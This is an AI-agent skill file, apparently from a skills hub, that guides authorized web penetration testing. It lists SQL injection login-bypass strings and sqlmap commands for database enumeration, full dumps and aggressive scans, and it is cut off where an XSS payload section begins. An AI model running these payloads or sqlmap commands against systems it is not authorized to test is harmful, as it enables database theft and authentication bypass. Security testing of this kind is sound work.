# web-vulnerability-testing > Comprehensive web application vulnerability testing techniques including SQLi, XSS, LFI, RFI, and authentication bypass - Author: radicalkjax - Repository: goldenapplestudios/Clicky - Version: 20251126203836 - Stars: 0 - Forks: 0 - Last Updated: 2026-02-08 - Source: https://github.com/goldenapplestudios/Clicky - Web: https://mule.run/skillshub/@@goldenapplestudios/Clicky~web-vulnerability-testing:20251126203836 --- --- name: web-vulnerability-testing description: Comprehensive web application vulnerability testing techniques including SQLi, XSS, LFI, RFI, and authentication bypass allowed-tools: Bash, Read, Write, WebFetch --- # Web Vulnerability Testing Skill ## Purpose This skill provides systematic approaches for identifying and exploiting common web application vulnerabilities during authorized penetration testing. ## SQL Injection Testing ### Manual Detection ```bash # Basic SQLi test strings ' OR '1'='1 ' OR 1=1-- ' OR 1=1# ' OR 1=1/* admin' -- admin' # admin'/* ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1-- ') or ('1'='1-- ``` ### SQLMap Automation ```bash # Basic scan sqlmap -u "http://{target}/page.php?id=1" --batch --banner # Post request sqlmap -u "http://{target}/login.php" --data="username=admin&password=test" --batch # Full enumeration sqlmap -u "http://{target}/page.php?id=1" --batch --dbs --tables --columns --dump # With cookie sqlmap -u "http://{target}/page.php?id=1" --cookie="PHPSESSID=abc123" --batch # Aggressive testing sqlmap -u "http://{target}/page.php?id=1" --level=5 --risk=3 --batch ``` ## Cross-Site Scripting (XSS) ### Reflected XSS Payloads ```javascript